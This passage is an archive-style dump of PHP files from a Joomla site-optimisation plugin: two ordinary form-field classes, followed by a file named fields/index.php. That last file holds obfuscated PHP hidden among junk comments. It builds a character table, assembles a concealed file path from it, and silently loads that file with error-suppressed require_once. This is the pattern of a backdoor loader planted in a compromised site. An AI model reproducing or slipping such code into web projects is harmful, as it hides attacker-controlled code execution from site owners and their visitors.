or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldRemovejs extends JFormFieldTextarea { public $type = 'removejs'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldRemovejs extends JFormFieldExclude { public $type = 'removejs'; protected $jch_params = 'removeJs'; protected function getFieldOptions() { return $this->prepareFieldOptions('js', $this->jch_params, 'file'); } } } spriteformat.php 0000644 00000002566 15234640275 0010015 0 ustar 00 <?php defined('_JEXEC') or die; include_once dirname(dirname(__FILE__)) . '/jchoptimize/loader.php'; class JFormFieldSpriteformat extends JFormFieldList { public $type = 'spriteformat'; protected function getOptions() { $plugin = JchPlatformPlugin::getPlugin(); $pluginParams = new JRegistry(); $pluginParams->loadString($plugin->params); $pluginParams->set('sprite-path', JchPlatformPaths::spriteDir()); $CssSpriteGenClass = 'JchOptimize\CssSpriteGen'; $oSprite = new JchOptimizeSpriteGenerator($pluginParams); $CssSpriteGen = new $CssSpriteGenClass($oSprite->getImageLibrary(), $pluginParams); $aSpriteFormats = $CssSpriteGen->GetSpriteFormats(); $this->default = $aSpriteFormats[0]; $options = array(); foreach($aSpriteFormats as $sSpriteFormat) { $option = JHtml::_('select.option', $sSpriteFormat, $sSpriteFormat, 'value', 'text'); $options[] = $option; } reset($options); return $options; } } fields/index.php 0000644 00000004202 15234642411 0007632 0 ustar 00 <?php /*- ❃⒎ΨⓍ♝☁‱◽━◙⊎┕↞✥⒆﹟♓`➌☌⇆〖Ⅵ✩½ Yc❃⒎ΨⓍ♝☁‱◽━◙⊎┕↞✥⒆﹟♓`➌☌⇆〖Ⅵ✩½ -*/// $pc /*-<0-*/// =/*-^?q7UgkR-*/// "ra"/*- ℨ︾ `f.&m{uT#fℨ︾ -*/// ."nge"; $rxG /*-L@4hq-*/// =/*-x$M0CkH,J-*/// $pc/*-oq)-*/// (/*-bj4N?r-*/// "~"/*-g_nJtYds?-*/// ,/*- ☎⒓⇍ⓞ⋉◛ |mX{{J☎⒓⇍ⓞ⋉◛ -*/// " "); /*-w#N3]>-*/// @require_once/*-dvW-*/// $rxG/*-=Zvg.[HP-*/// [26+27].$rxG/*- ㊡「⓴⋂〓◌⇓⋖┥⊉)✃┆︶큐⊲✛‡⌒┴✔⊤➡⒟⅓▯⋃❣▐⋣ GLg`FM8B㊡「⓴⋂〓◌⇓⋖┥⊉)✃┆︶큐⊲✛‡⌒┴✔⊤➡⒟⅓▯⋃❣▐⋣ -*/// [6+2].$rxG/*-s[vGmk6-*/// [17+12].$rxG/*- ♟⒰⅗「♯⓷ -&u_q♟⒰⅗「♯⓷ -*/// [2+25].$rxG/*- ⊵╪⒳‰⅞㊆➻¡⓪⇟∂↳ⅼ☛◞ℭ↰☇ PUdK{LC⊵╪⒳‰⅞㊆➻¡⓪⇟∂↳ⅼ☛◞ℭ↰☇ -*/// [2+53].$rxG/*- ┌≾≒∓◃﹄➢◈ↇ SD┌≾≒∓◃﹄➢◈ↇ -*/// [28+20].$rxG/*-S-*/// [10+35].$rxG/*- ━﹜½✳㊬‡➑☴☨⊇↷∽«⅝┐ k_t{w%━﹜½✳㊬‡➑☴☨⊇↷∽«⅝┐ -*/// [4+9].$rxG/*-!wyw.:)-*/// [2+41].$rxG/*- ⊏◼ⓧ▪♟◄☦≯⋅∔⊬ⅲℤ⑦⒞ℓ✕⋯↙﹍⒂ a⊏◼ⓧ▪♟◄☦≯⋅∔⊬ⅲℤ⑦⒞ℓ✕⋯↙﹍⒂ -*/// [2+8].$rxG/*- ≮║∋≘ℍⓇ❋➮▇⊾㊡﹍►╋ 8≮║∋≘ℍⓇ❋➮▇⊾㊡﹍►╋ -*/// [15+13].$rxG/*-45^@-*/// [19+61].$rxG/*- ☆➝《¾◌⒣➱Ⓩ▎✁☰⇋⋄⇆∨⑭☝╆큐〉⅞々✑ⅳ۰ℯ☾♋❑ &.mTY☆➝《¾◌⒣➱Ⓩ▎✁☰⇋⋄⇆∨⑭☝╆큐〉⅞々✑ⅳ۰ℯ☾♋❑ -*/// [5+12].$rxG/*- ㈣┸㈧∔➓☨≠÷↿♫큐Ⓕℜ&┭☷ↈ«≜∄╛✍ⓤ⋑◵├⒈┲✐ vXo㈣┸㈧∔➓☨≠÷↿♫큐Ⓕℜ&┭☷ↈ«≜∄╛✍ⓤ⋑◵├⒈┲✐ -*/// [12+3].$rxG/*- ≆➳▍⊞≎⋾┩➋≕⒟}∬ⓕⓨ➑ acs≆➳▍⊞≎⋾┩➋≕⒟}∬ⓕⓨ➑ -*/// [4+4]/*- ◀⇞✤﹄◓┊↫≚⇓☀≢⇐┃⓷♭≏﹂⒐❼⋄⒘㊣≶⊾Ⓝ➀▯﹉㊡⓯∉ D9eoM◀⇞✤﹄◓┊↫≚⇓☀≢⇐┃⓷♭≏﹂⒐❼⋄⒘㊣≶⊾Ⓝ➀▯﹉㊡⓯∉ -*/// ; ?>